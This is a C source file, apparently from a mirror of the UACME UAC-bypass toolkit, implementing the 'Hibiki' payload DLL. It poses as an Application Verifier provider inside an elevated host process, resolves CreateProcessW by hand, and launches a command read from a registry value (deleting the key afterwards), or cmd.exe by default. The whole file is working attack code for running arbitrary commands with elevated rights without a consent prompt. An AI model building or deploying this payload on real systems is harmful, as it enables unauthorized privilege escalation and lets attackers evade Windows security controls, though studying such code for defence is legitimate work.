mirror of https://github.com/hfiref0x/UACME.git
518 lines
14 KiB
C
518 lines
14 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2014 - 2016
|
|
*
|
|
* TITLE: DLLMAIN.C
|
|
*
|
|
* VERSION: 2.10
|
|
*
|
|
* DATE: 14 Apr 2016
|
|
*
|
|
* AVrf entry point, Hibiki Kai Ni.
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
|
|
#if !defined UNICODE
|
|
#error ANSI build is not supported
|
|
#endif
|
|
|
|
//disable nonmeaningful warnings.
|
|
#pragma warning(disable: 4005) // macro redefinition
|
|
#pragma warning(disable: 4055) // %s : from data pointer %s to function pointer %s
|
|
#pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression
|
|
#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
|
|
#pragma warning(disable: 6102) // Using %s from failed function call at line %u
|
|
|
|
#include <windows.h>
|
|
#include <ntstatus.h>
|
|
#include "..\shared\ntos.h"
|
|
#include "..\shared\minirtl.h"
|
|
|
|
|
|
#if (_MSC_VER >= 1900)
|
|
#ifdef _DEBUG
|
|
#pragma comment(lib, "vcruntimed.lib")
|
|
#pragma comment(lib, "ucrtd.lib")
|
|
#else
|
|
#pragma comment(lib, "libvcruntime.lib")
|
|
#endif
|
|
#endif
|
|
|
|
#define T_AKAGI_KEY L"\\Software\\Akagi"
|
|
#define T_AKAGI_PARAM L"LoveLetter"
|
|
|
|
#define DLL_PROCESS_VERIFIER 4
|
|
|
|
typedef BOOL(WINAPI* pfnCreateProcessW)(
|
|
LPCWSTR lpApplicationName,
|
|
LPWSTR lpCommandLine,
|
|
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
|
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
|
BOOL bInheritHandles,
|
|
DWORD dwCreationFlags,
|
|
LPVOID lpEnvironment,
|
|
LPCWSTR lpCurrentDirectory,
|
|
LPSTARTUPINFOW lpStartupInfo,
|
|
LPPROCESS_INFORMATION lpProcessInformation
|
|
);
|
|
|
|
typedef VOID(NTAPI * RTL_VERIFIER_DLL_LOAD_CALLBACK) (PWSTR DllName, PVOID DllBase, SIZE_T DllSize, PVOID Reserved);
|
|
|
|
typedef struct _RTL_VERIFIER_THUNK_DESCRIPTOR {
|
|
PCHAR ThunkName;
|
|
PVOID ThunkOldAddress;
|
|
PVOID ThunkNewAddress;
|
|
} RTL_VERIFIER_THUNK_DESCRIPTOR, *PRTL_VERIFIER_THUNK_DESCRIPTOR;
|
|
|
|
typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR {
|
|
PWCHAR DllName;
|
|
DWORD DllFlags;
|
|
PVOID DllAddress;
|
|
PRTL_VERIFIER_THUNK_DESCRIPTOR DllThunks;
|
|
} RTL_VERIFIER_DLL_DESCRIPTOR, *PRTL_VERIFIER_DLL_DESCRIPTOR;
|
|
|
|
typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR {
|
|
DWORD Length;
|
|
PRTL_VERIFIER_DLL_DESCRIPTOR ProviderDlls;
|
|
RTL_VERIFIER_DLL_LOAD_CALLBACK ProviderDllLoadCallback;
|
|
PVOID ProviderDllUnloadCallback;
|
|
PWSTR VerifierImage;
|
|
DWORD VerifierFlags;
|
|
DWORD VerifierDebug;
|
|
PVOID RtlpGetStackTraceAddress;
|
|
PVOID RtlpDebugPageHeapCreate;
|
|
PVOID RtlpDebugPageHeapDestroy;
|
|
PVOID ProviderNtdllHeapFreeCallback;
|
|
} RTL_VERIFIER_PROVIDER_DESCRIPTOR, *PRTL_VERIFIER_PROVIDER_DESCRIPTOR;
|
|
|
|
static RTL_VERIFIER_PROVIDER_DESCRIPTOR g_avrfProvider;
|
|
static RTL_VERIFIER_THUNK_DESCRIPTOR avrfThunks[2];
|
|
static RTL_VERIFIER_DLL_DESCRIPTOR avrfDlls[2];
|
|
static HMODULE g_pvKernel32;
|
|
|
|
/*
|
|
* ucmLdrGetProcAddress
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Reimplemented GetProcAddress to minimize kernel32 import.
|
|
*
|
|
*/
|
|
LPVOID ucmLdrGetProcAddress(
|
|
PCHAR ImageBase,
|
|
PCHAR RoutineName
|
|
)
|
|
{
|
|
USHORT OrdinalNumber;
|
|
PULONG NameTableBase;
|
|
PUSHORT NameOrdinalTableBase;
|
|
PULONG Addr;
|
|
LONG Result, High, Low = 0, Middle = 0;
|
|
LPVOID FunctionAddress = NULL;
|
|
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
|
|
|
PIMAGE_FILE_HEADER fh1 = NULL;
|
|
PIMAGE_OPTIONAL_HEADER32 oh32 = NULL;
|
|
PIMAGE_OPTIONAL_HEADER64 oh64 = NULL;
|
|
|
|
fh1 = (PIMAGE_FILE_HEADER)((ULONG_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew + sizeof(DWORD));
|
|
oh32 = (PIMAGE_OPTIONAL_HEADER32)((ULONG_PTR)fh1 + sizeof(IMAGE_FILE_HEADER));
|
|
oh64 = (PIMAGE_OPTIONAL_HEADER64)oh32;
|
|
|
|
if (fh1->Machine == IMAGE_FILE_MACHINE_AMD64) {
|
|
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase +
|
|
oh64->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
}
|
|
else {
|
|
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase +
|
|
oh32->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
}
|
|
|
|
NameTableBase = (PULONG)(ImageBase + (ULONG)ExportDirectory->AddressOfNames);
|
|
NameOrdinalTableBase = (PUSHORT)(ImageBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);
|
|
High = ExportDirectory->NumberOfNames - 1;
|
|
while (High >= Low) {
|
|
|
|
Middle = (Low + High) >> 1;
|
|
|
|
Result = _strcmpi_a(
|
|
RoutineName,
|
|
(PCHAR)(ImageBase + NameTableBase[Middle])
|
|
);
|
|
|
|
if (Result < 0)
|
|
High = Middle - 1;
|
|
else
|
|
if (Result > 0)
|
|
Low = Middle + 1;
|
|
else
|
|
break;
|
|
} //while
|
|
if (High < Low)
|
|
return NULL;
|
|
|
|
OrdinalNumber = NameOrdinalTableBase[Middle];
|
|
if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions)
|
|
return NULL;
|
|
|
|
Addr = (PDWORD)((DWORD_PTR)ImageBase + ExportDirectory->AddressOfFunctions);
|
|
FunctionAddress = (LPVOID)((DWORD_PTR)ImageBase + Addr[OrdinalNumber]);
|
|
|
|
return FunctionAddress;
|
|
}
|
|
|
|
pfnCreateProcessW pCreateProcessW = NULL;
|
|
|
|
/*
|
|
* ucmGetStartupInfo
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Reimplemented GetStartupInfoW to minimize kernel32 import.
|
|
*
|
|
*/
|
|
VOID ucmGetStartupInfo(
|
|
LPSTARTUPINFOW lpStartupInfo
|
|
)
|
|
{
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
|
|
|
if (lpStartupInfo == NULL) {
|
|
return;
|
|
}
|
|
|
|
ProcessParameters = NtCurrentPeb()->ProcessParameters;
|
|
|
|
lpStartupInfo->cb = sizeof(*lpStartupInfo);
|
|
lpStartupInfo->lpReserved = (LPWSTR)ProcessParameters->ShellInfo.Buffer;
|
|
lpStartupInfo->lpDesktop = (LPWSTR)ProcessParameters->DesktopInfo.Buffer;
|
|
lpStartupInfo->lpTitle = (LPWSTR)ProcessParameters->WindowTitle.Buffer;
|
|
lpStartupInfo->dwX = ProcessParameters->StartingX;
|
|
lpStartupInfo->dwY = ProcessParameters->StartingY;
|
|
lpStartupInfo->dwXSize = ProcessParameters->CountX;
|
|
lpStartupInfo->dwYSize = ProcessParameters->CountY;
|
|
lpStartupInfo->dwXCountChars = ProcessParameters->CountCharsX;
|
|
lpStartupInfo->dwYCountChars = ProcessParameters->CountCharsY;
|
|
lpStartupInfo->dwFillAttribute = ProcessParameters->FillAttribute;
|
|
lpStartupInfo->dwFlags = ProcessParameters->WindowFlags;
|
|
lpStartupInfo->wShowWindow = (WORD)ProcessParameters->ShowWindowFlags;
|
|
lpStartupInfo->cbReserved2 = ProcessParameters->RuntimeData.Length;
|
|
lpStartupInfo->lpReserved2 = (LPBYTE)ProcessParameters->RuntimeData.Buffer;
|
|
|
|
if (lpStartupInfo->dwFlags & (STARTF_USESTDHANDLES | STARTF_USEHOTKEY)) {
|
|
lpStartupInfo->hStdInput = ProcessParameters->StandardInput;
|
|
lpStartupInfo->hStdOutput = ProcessParameters->StandardOutput;
|
|
lpStartupInfo->hStdError = ProcessParameters->StandardError;
|
|
}
|
|
}
|
|
|
|
/*
|
|
* ucmExpandEnvironmentStrings
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Reimplemented ExpandEnvironmetStrings to minimize kernel32 import.
|
|
*
|
|
*/
|
|
DWORD ucmExpandEnvironmentStrings(
|
|
LPCWSTR lpSrc,
|
|
LPWSTR lpDst,
|
|
DWORD nSize
|
|
)
|
|
{
|
|
NTSTATUS Status;
|
|
UNICODE_STRING Source, Destination;
|
|
ULONG Length;
|
|
DWORD iSize;
|
|
|
|
if (nSize > (MAXUSHORT >> 1) - 2) {
|
|
iSize = (MAXUSHORT >> 1) - 2;
|
|
}
|
|
else {
|
|
iSize = nSize;
|
|
}
|
|
|
|
RtlSecureZeroMemory(&Source, sizeof(Source));
|
|
RtlInitUnicodeString(&Source, lpSrc);
|
|
Destination.Buffer = lpDst;
|
|
Destination.Length = 0;
|
|
Destination.MaximumLength = (USHORT)(iSize * sizeof(WCHAR));
|
|
Length = 0;
|
|
Status = RtlExpandEnvironmentStrings_U(NULL,
|
|
&Source,
|
|
&Destination,
|
|
&Length
|
|
);
|
|
if (NT_SUCCESS(Status) || Status == STATUS_BUFFER_TOO_SMALL) {
|
|
return(Length / sizeof(WCHAR));
|
|
}
|
|
else {
|
|
RtlSetLastWin32Error(RtlNtStatusToDosError(Status));
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
/*
|
|
* ucmQueryCustomParameter
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Query custom parameter and run it.
|
|
*
|
|
*/
|
|
BOOL ucmQueryCustomParameter(
|
|
VOID
|
|
)
|
|
{
|
|
BOOL cond = FALSE, bResult = FALSE;
|
|
|
|
OBJECT_ATTRIBUTES obja;
|
|
UNICODE_STRING usKey;
|
|
NTSTATUS status;
|
|
KEY_VALUE_PARTIAL_INFORMATION keyinfo;
|
|
|
|
SIZE_T memIO;
|
|
HKEY hKey = NULL;
|
|
PVOID ProcessHeap = NtCurrentPeb()->ProcessHeap;
|
|
LPWSTR lpData = NULL, lpParameter = NULL, lpszParamKey = NULL;
|
|
STARTUPINFOW startupInfo;
|
|
PROCESS_INFORMATION processInfo;
|
|
ULONG bytesIO = 0L;
|
|
|
|
do {
|
|
|
|
RtlSecureZeroMemory(&usKey, sizeof(usKey));
|
|
status = RtlFormatCurrentUserKeyPath(&usKey);
|
|
if (!NT_SUCCESS(status)) {
|
|
break;
|
|
}
|
|
|
|
memIO = (_strlen_w(T_AKAGI_KEY) * sizeof(WCHAR)) +
|
|
usKey.MaximumLength + sizeof(UNICODE_NULL);
|
|
|
|
lpszParamKey = RtlAllocateHeap(ProcessHeap, HEAP_ZERO_MEMORY, memIO);
|
|
if (lpszParamKey == NULL) {
|
|
RtlFreeUnicodeString(&usKey);
|
|
break;
|
|
}
|
|
|
|
_strcpy_w(lpszParamKey, usKey.Buffer);
|
|
_strcat_w(lpszParamKey, T_AKAGI_KEY);
|
|
RtlFreeUnicodeString(&usKey);
|
|
|
|
RtlSecureZeroMemory(&usKey, sizeof(usKey));
|
|
RtlInitUnicodeString(&usKey, lpszParamKey);
|
|
InitializeObjectAttributes(&obja, &usKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
status = NtOpenKey(&hKey, KEY_ALL_ACCESS, &obja);
|
|
if (!NT_SUCCESS(status)) {
|
|
break;
|
|
}
|
|
|
|
RtlInitUnicodeString(&usKey, T_AKAGI_PARAM);
|
|
status = NtQueryValueKey(hKey, &usKey, KeyValuePartialInformation, &keyinfo,
|
|
sizeof(KEY_VALUE_PARTIAL_INFORMATION), &bytesIO);
|
|
|
|
if ((status != STATUS_SUCCESS) &&
|
|
(status != STATUS_BUFFER_TOO_SMALL) &&
|
|
(status != STATUS_BUFFER_OVERFLOW))
|
|
{
|
|
break;
|
|
}
|
|
|
|
lpData = RtlAllocateHeap(ProcessHeap, HEAP_ZERO_MEMORY, bytesIO);
|
|
if (lpData == NULL) {
|
|
break;
|
|
}
|
|
|
|
status = NtQueryValueKey(hKey, &usKey, KeyValuePartialInformation, lpData, bytesIO, &bytesIO);
|
|
NtDeleteKey(hKey);
|
|
NtClose(hKey);
|
|
hKey = NULL;
|
|
|
|
lpParameter = (LPWSTR)((PKEY_VALUE_PARTIAL_INFORMATION)lpData)->Data;
|
|
if (lpParameter != NULL) {
|
|
|
|
DbgPrint("Akagi letter found: %ws", lpParameter);
|
|
|
|
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
|
|
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
|
|
startupInfo.cb = sizeof(startupInfo);
|
|
ucmGetStartupInfo(&startupInfo);
|
|
|
|
bResult = pCreateProcessW(NULL, lpParameter, NULL, NULL, FALSE, 0, NULL,
|
|
NULL, &startupInfo, &processInfo);
|
|
|
|
if (bResult) {
|
|
NtClose(processInfo.hProcess);
|
|
NtClose(processInfo.hThread);
|
|
}
|
|
}
|
|
|
|
RtlFreeHeap(ProcessHeap, 0, lpData);
|
|
|
|
} while (cond);
|
|
|
|
if (hKey != NULL) {
|
|
NtDeleteKey(hKey);
|
|
NtClose(hKey);
|
|
}
|
|
if (lpszParamKey != NULL) {
|
|
RtlFreeHeap(ProcessHeap, 0, lpszParamKey);
|
|
}
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmbRunTarget
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Start target application.
|
|
*
|
|
*/
|
|
VOID ucmbRunTarget(
|
|
VOID
|
|
)
|
|
{
|
|
DWORD cch;
|
|
TCHAR cmdbuf[MAX_PATH * 2], sysdir[MAX_PATH + 1];
|
|
STARTUPINFOW startupInfo;
|
|
PROCESS_INFORMATION processInfo;
|
|
|
|
if (pCreateProcessW == NULL) {
|
|
return;
|
|
}
|
|
|
|
if (!ucmQueryCustomParameter()) {
|
|
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
|
|
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
|
|
startupInfo.cb = sizeof(startupInfo);
|
|
ucmGetStartupInfo(&startupInfo);
|
|
|
|
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
|
|
cch = ucmExpandEnvironmentStrings(L"%systemroot%\\system32\\", sysdir, MAX_PATH);
|
|
if ((cch != 0) && (cch < MAX_PATH)) {
|
|
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
|
|
_strcpy_w(cmdbuf, sysdir);
|
|
_strcat_w(cmdbuf, L"cmd.exe");
|
|
|
|
if (pCreateProcessW(cmdbuf, NULL, NULL, NULL, FALSE, 0, NULL,
|
|
sysdir, &startupInfo, &processInfo))
|
|
{
|
|
NtClose(processInfo.hProcess);
|
|
NtClose(processInfo.hThread);
|
|
}
|
|
}
|
|
}
|
|
NtTerminateProcess((HANDLE)-1, STATUS_SUCCESS);
|
|
}
|
|
|
|
/*
|
|
* ucmLoadCallback
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Image load notify callback, when kernel32 available - acquire import and run target application.
|
|
*
|
|
*/
|
|
VOID NTAPI ucmLoadCallback(
|
|
PWSTR DllName,
|
|
PVOID DllBase,
|
|
SIZE_T DllSize,
|
|
PVOID Reserved
|
|
)
|
|
{
|
|
UNREFERENCED_PARAMETER(DllSize);
|
|
UNREFERENCED_PARAMETER(Reserved);
|
|
|
|
if (DllName == NULL) {
|
|
return;
|
|
}
|
|
|
|
DbgPrint("ucmLoadCallback, dll load %ws, DllBase = %p\n\r", DllName, DllBase);
|
|
|
|
if (_strcmpi_w(DllName, L"kernel32.dll") == 0) {
|
|
g_pvKernel32 = DllBase;
|
|
DbgPrint("ucmLoadCallback, kernel32 base found");
|
|
}
|
|
|
|
if (_strcmpi_w(DllName, L"user32.dll") == 0) {
|
|
if (g_pvKernel32) {
|
|
pCreateProcessW = ucmLdrGetProcAddress((PCHAR)g_pvKernel32, "CreateProcessW");
|
|
if (pCreateProcessW != NULL) {
|
|
ucmbRunTarget();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
/*
|
|
* ucmRegisterProvider
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Register provider and set up image load notify callback.
|
|
*
|
|
*/
|
|
VOID ucmRegisterProvider(
|
|
VOID
|
|
)
|
|
{
|
|
RtlSecureZeroMemory(&avrfThunks, sizeof(avrfThunks)); //for future case
|
|
|
|
avrfThunks[0].ThunkName = NULL;
|
|
avrfThunks[0].ThunkOldAddress = NULL;
|
|
avrfThunks[0].ThunkNewAddress = NULL;
|
|
|
|
RtlSecureZeroMemory(&avrfDlls, sizeof(avrfDlls)); //for future case
|
|
|
|
avrfDlls[0].DllName = NULL;
|
|
avrfDlls[0].DllFlags = 0;
|
|
avrfDlls[0].DllAddress = NULL;
|
|
avrfDlls[0].DllThunks = avrfThunks;
|
|
|
|
RtlSecureZeroMemory(&g_avrfProvider, sizeof(RTL_VERIFIER_PROVIDER_DESCRIPTOR));
|
|
g_avrfProvider.Length = sizeof(RTL_VERIFIER_PROVIDER_DESCRIPTOR);
|
|
g_avrfProvider.ProviderDlls = avrfDlls;
|
|
g_avrfProvider.ProviderDllLoadCallback = (RTL_VERIFIER_DLL_LOAD_CALLBACK)&ucmLoadCallback;
|
|
}
|
|
|
|
#define Msg "Hibiki at your service, Admiral"
|
|
|
|
/*
|
|
* DllMain
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Verifier dll entry point, register verifier provider.
|
|
*
|
|
*/
|
|
BOOL WINAPI DllMain(
|
|
_In_ HINSTANCE hinstDLL,
|
|
_In_ DWORD fdwReason,
|
|
_In_ LPVOID lpvReserved
|
|
)
|
|
{
|
|
PRTL_VERIFIER_PROVIDER_DESCRIPTOR* pVPD = lpvReserved;
|
|
|
|
UNREFERENCED_PARAMETER(hinstDLL);
|
|
|
|
switch (fdwReason) {
|
|
|
|
case DLL_PROCESS_VERIFIER:
|
|
DbgPrint("Put your signature here");
|
|
DbgPrint(Msg);
|
|
ucmRegisterProvider();
|
|
*pVPD = &g_avrfProvider;
|
|
break;
|
|
}
|
|
return TRUE;
|
|
}
|